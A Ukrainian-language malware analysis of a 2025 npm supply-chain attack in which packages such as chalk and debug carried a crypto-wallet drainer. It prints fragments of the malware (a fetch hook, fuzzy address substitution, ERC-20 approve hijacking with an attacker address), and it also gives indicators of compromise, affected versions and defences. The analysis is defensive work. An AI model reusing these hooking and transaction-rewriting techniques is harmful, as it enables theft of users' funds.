Екосистема NPM зазнала ще однієї масштабної атаки на ланцюг постачання, коли 27 популярних пакетів, зокрема широко використовувані бібліотеки debug та chalk, були скомпрометовані шкідливим програмним забезпеченням типу криптовалютного дрейнера. Ця атака, що торкнулася пакетів із понад 2 мільярдами щотижневих завантажень, демонструє, як кіберзлочинці використовують довірені канали поширення програмного забезпечення для розгортання складного коду викрадення гаманців Web3.
У цій статті здійснюється детальний розбір роботи шкідливого навантаження, способів його поширення через пакети npm, а також індикаторів компрометації, пов’язаних із цим інцидентом у ланцюгу постачання.
Компрометація ланцюга постачання NPM
Атака розпочалася зі складної фішингової кампанії, спрямованої проти мейнтейнерів пакетів. Зловмисники розсилали підроблені електронні листи з адреси «support@npmjs.help» – домену, зареєстрованого всього за три дні до атаки, – що дозволило їм успішно отримати облікові дані мейнтейнерів. Це дало змогу впровадити шкідливий код у 27 популярних пакетів npm, серед яких:
- debug – популярна утиліта для налагодження
- chalk – бібліотека для стилізації рядків у терміналі
- інші пакети з мільйонами щотижневих завантажень
Скомпрометовані пакети містили шкідливе навантаження, спеціально розроблене для атаки на Web3-застосунки та криптовалютні транзакції. Ця атака на ланцюг постачання демонструє, як довірені залежності у процесі розробки можуть перетворитися на канали поширення фінансового шкідливого ПЗ.
Поверхня атаки на гаманці Web3
Гаманці Web3, такі як MetaMask, Trust Wallet та інші браузерні криптовалютні гаманці, стали незамінними інструментами для взаємодії з децентралізованими застосунками (DApp). Коли розробники несвідомо встановлюють скомпрометовані пакети npm, шкідливий код отримує доступ до того самого середовища виконання JavaScript, що й ці гаманці, що відкриває можливість для складних атак із маніпулювання транзакціями. Браузерна природа як коду, що постачається через npm, і гаманців Web3 створює ідеальні умови для подібних атак на ланцюг постачання.
Аналіз шкідливого ПЗ
Досліджений криптовалютний дрейнер демонструє глибокі знання блокчейн-протоколів та механізмів взаємодії з гаманцями. Шкідливе програмне забезпечення працює непомітно у фоновому режимі, перехоплюючи комунікації гаманця та перенаправляючи криптовалютні транзакції на адреси, що контролюються зловмисниками, у різних блокчейн-мережах.
Початкові методи обфускації
Початковий код шкідника активно використовує обфускацію, щоб уникнути виявлення. Імена змінних замінено на шістнадцяткові ідентифікатори на кшталт _0x124ed3, _0xba16ef, а назви функцій приховані за подібними прийомами. Крім того, програма застосовує складну об’єктну структуру для збереження сотень криптовалютних адрес, що значно ускладнює статичний аналіз.
var _0xba16ef = {
'zprkq': function (_0x23e86b, _0x5b593c) {
return _0x23e86b + _0x5b593c;
},
'OiGzk': "1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx",
'FlhWy': "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"
// ... hundreds more obfuscated properties
};
Фрагмент 1. Обфускована структура змінних, що містить адреси зловмисників
Багатоступеневий ланцюг атаки
Після встановлення та запуску скомпрометованого пакета npm у середовищі розробки чи у середовищі продакшну шкідливе ПЗ працює через кілька узгоджених етапів, кожен із яких спрямований на закріплення в системі та максимізацію можливостей для викрадення криптовалюти.
Етап 1: Виконання пакета npm та виявлення середовища
Шкідливе ПЗ спершу запускається як частина процесу інсталяції або виконання легітимного пакета npm. Далі воно здійснює перевірку середовища, щоб визначити наявність гаманців Web3, та ініціює запуск свого шкідливого навантаження.
Етап 2: Виявлення та ініціалізація гаманця Web3
Шкідливе ПЗ починає з пошуку гаманців Web3 у середовищі браузера. Зокрема, воно перевіряє наявність об’єктів window.ethereum, що свідчать про використання MetaMask чи інших гаманців, сумісних з Ethereum.
async function checkethereumw() {
try {
const accounts = await window.ethereum.request({
'method': "eth_accounts"
});
if (accounts.length > 0) {
runmask(); // Initialize wallet hijacking
}
} catch (error) {
// Fallback initialization
}
}
Фрагмент 2. Механізм виявлення гаманців
Етап 3: Перехоплення мережевого трафіку
Після ініціалізації шкідливе ПЗ «під’єднується» до fetch API та XMLHttpRequest, щоб перехоплювати всі мережеві комунікації. Це дає змогу змінювати відповіді API, які містять криптовалютні адреси, ще до того, як вони потраплять у застосунок жертви.
// Hook fetch API
fetch = async function (...args) {
const response = await fetch(...args);
const modifiedData = replaceAddressesInContent(data);
return new Response(modifiedData, {
'status': response.status,
'headers': response.headers
});
};
Фрагмент 3. Механізм перехоплення мережевого трафіку
Етап 4: Розширена підміна адрес із використанням нечіткого зіставлення
Можливо, найскладніший аспект цього шкідливого ПЗ полягає у застосуванні алгоритму відстані Левенштейна для виконання нечіткого порівняння рядків. Замість простої підміни рядка воно знаходить «найближчу» адресу зловмисника до будь-якої легітимної адреси, яку зустрічає, роблячи підміну менш помітною.
function calculateEditDistance(str1, str2) {
// Levenshtein distance implementation
const matrix = Array.from({
'length': str1.length + 1
}, () => Array(str2.length + 1).fill(0));
// ... distance calculation logic
}
Фрагмент 4. Алгоритм нечіткого зіставлення для підміни адрес
Етап 5: Перехоплення та маніпуляція транзакціями
Остаточний і найбільш критичний етап полягає у перехопленні методів транзакцій гаманця та їх зміні на користь зловмисника. Шкідливе ПЗ націлюється на кілька ключових функцій Ethereum:
Маніпуляція схваленням токенів ERC-20:
- Перехоплює виклики approve() (0x095ea7b3) та надає необмежений дозвіл на адресу зловмисника.
- Замінює адресу одержувача на адресу зловмисника.
- Встановлює суму схвалення на максимальне значення (усі «f» у шістнадцятковому представленні).
Перенаправлення транзакцій:
- Перехоплює виклики transfer() (0xa9059cbb) та перенаправляє кошти.
- Змінює виклики transferFrom() (0x23b872dd), щоб викрасти токени.
- Маніпулює функціями permit (0xd505accf) для здійснення підтверджень без плати за комісію.
if (data.startsWith("0x095ea7b3")) {
const functionSig = data.substring(0, 10);
const attackerAddress = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976";
const unlimitedAmount = 'f'.repeat(64);
modified.data = functionSig + attackerAddress + unlimitedAmount;
}
Фрагмент 5. Маніпуляція схваленням ERC-20
Підтримка міжмережевих транзакцій
Шкідливе ПЗ демонструє високий технічний рівень, оскільки підтримує кілька криптовалютних мереж:
- Ethereum: токени ERC-20 та перекази ETH
- Bitcoin: формати адрес Legacy та SegWit
- Solana: транзакції з токенами SPL
- TRON: TRX і токени TRC-20
- Litecoin: кілька форматів адрес
- Bitcoin Cash: формат CashAddr
Кожна блокчейн-мережа має власні патерни адрес і структури транзакцій, що вимагає від шкідника реалізації окремої логіки обробки для кожної з них.
Механізми приховування та закріплення
Шкідливе ПЗ застосовує кілька технік, щоб залишатися непоміченим:
- Перехоплення методів: зберігає оригінальні посилання на функції та відновлює їх у разі потреби.
- Поступове розгортання: використовує повторні спроби з паузами, щоб уникати виявлення.
- Обробка помилок: передбачає коректні резервні сценарії, щоб уникнути аварійного завершення роботи основного застосунку.
- Інтерфейс налагодження: прихований контрольний інтерфейс для відстеження успішності перехоплення.
window.stealthProxyControl = {
'isActive': () => isActive,
'getInterceptCount': () => interceptionCount,
'forceShield': () => hookWalletProvider(window.ethereum)
};
Фрагмент 6. Прихований інтерфейс налагодження
Основні індикатори компрометації
Головні адреси зловмисників:
Ethereum:
- 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (основна)
- 0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024
- 0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B
Bitcoin Legacy:
- 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx
- 1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd
Bitcoin SegWit:
- bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm
- bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9
Solana:
- 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6
- 98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ
Наслідки та реальні загрози
Ця атака на ланцюг постачання npm створює безпрецедентні ризики для екосистеми криптовалют:
- Масштабність: із понад 2 мільярдами щотижневих завантажень потенційна кількість жертв є колосальною.
- Довіра до ланцюга постачання: компрометація надійних залежностей у розробці руйнує базові припущення щодо безпеки.
- Фінансові втрати: пряме викрадення криптовалют і токенів у різних блокчейн-мережах.
- Порушення взаємодії з DeFi: необмежені схвалення токенів створюють можливість майбутнього «зливу» коштів.
- Міжмережевий вплив: одночасні атаки в кількох блокчейн-мережах.
- Атаки на розробників: цілеспрямоване націлення на спільноту розробників, які часто є ранніми користувачами технологій Web3.
- Приховані операції: складність виявлення дозволяє тривалий час залишатися у середовищах розробки та продакшну.
Поєднання розповсюдження через ланцюг постачання та використання нечіткого зіставлення адрес робить цю атаку особливо небезпечною, адже і механізм доставки, і шкідливе навантаження виглядають легітимними, що суттєво знижує ймовірність їх виявлення.
Висновок
Розглянутий складний криптовалютний дрейнер демонструє зміну характеру загроз, із якими стикаються користувачі Web3. Поєднання передових методів обфускації, підтримки кількох блокчейн-мереж та інтелектуальних алгоритмів підміни адрес робить це шкідливе ПЗ суттєвим кроком уперед у можливостях викрадення криптовалют.
Цей інцидент підкреслює критичну важливість підвищення обізнаності щодо безпеки у сфері Web3 та необхідність впровадження надійних заходів захисту під час взаємодії з криптовалютними застосунками. У міру зростання екосистеми децентралізованих фінансів можна очікувати появи дедалі складніших атак, спрямованих на інфраструктуру гаманців та взаємодію користувачів.
Рекомендації щодо запобігання
Щоб захиститися від подібних атак на ланцюг постачання та викрадення криптовалют, розробники та організації повинні впроваджувати такі заходи:
Безпека ланцюга постачання:
- Аудит залежностей: регулярно перевіряти залежності npm.
- Файли блокування пакетів: використовувати package-lock.json для забезпечення узгоджених версій залежностей.
- Надійні джерела: перевіряти видавців пакетів та уникати пакетів із підозрілими змінами власності.
- Моніторинг залежностей: впроваджувати відстеження неочікуваних оновлень чи змін у пакетах.
- Приватні реєстри: розглянути використання приватних npm-реєстрів для критично важливих застосунків.
Виявлення та реагування:
- Моніторинг мережі: відстежувати підозрілу мережеву активність та зміни у роботі API.
- Аналіз поведінки: впроваджувати механізми виявлення нетипових патернів взаємодії з гаманцями.
- Сканування безпеки: застосовувати інструменти на кшталт Mend.io для виявлення шкідливих інсталяцій пакетів.
У міру того як атаки на ланцюг постачання стають дедалі складнішими, а використання криптовалют продовжує зростати, проактивні заходи безпеки стають життєво необхідними. Масштабність екосистеми npm і значні фінансові стимули у Web3 роблять цей вектор атак особливо привабливим для кіберзлочинців, що потребує підвищеної пильності від усієї спільноти розробників.
Скомпрометовані пакети
| Пакет | Версія | MSC |
| backslash | 0.2.1 | MSC-2025-7955 |
| chalk-template | 1.1.1 | MSC-2025-7876 |
| supports-hyperlinks | 4.1.1 | MSC-2025-7872 |
| has-ansi | 6.0.1 | MSC-2025-7873 |
| simple-swizzle | 0.2.3 | MSC-2025-7886 |
| color-string | 2.1.1 | MSC-2025-7875 |
| error-ex | 1.3.3 | MSC-2025-7881 |
| color-name | 2.0.1 | MSC-2025-7882 |
| is-arrayish | 0.3.3 | MSC-2025-7953 |
| slice-ansi | 7.1.1 | MSC-2025-7874 |
| color-convert | 3.1.1 | MSC-2025-7954 |
| wrap-ansi | 9.0.1 | MSC-2025-7877 |
| ansi-regex | 6.2.1 | MSC-2025-7880 |
| supports-color | 10.2.1 | MSC-2025-7879 |
| strip-ansi | 7.1.1 | MSC-2025-7878 |
| chalk | 5.6.1 | MSC-2025-7884 |
| debug | 4.4.2 | MSC-2025-7887 |
| ansi-styles | 6.2.2 | MSC-2025-7871 |
| proto-tinker-wc | 0.1.87 | MSC-2025-7883 |
| Prebid-universal-creative | 1.17.3 | MSC-2025-7890 |
| duckdb | 1.3.3 | MSC-2025-7949 |
| @duckdb/node-api | 1.3.3 | MSC-2025-7888 |
| @duckdb/node-bindings | 1.3.3 | MSC-2025-7889 |
| @duckdb/duckdb-wasm | 1.29.2 | MSC-2025-7930 |
| prebid.js | 10.9.2 | MSC-2025-7950 |
| Prebid | 10.9.1,10.9.2 | MSC-2025-7951 MSC-2025-7952 |
| @coveops/abi | 2.0.1 | MSC-2025-7948 |







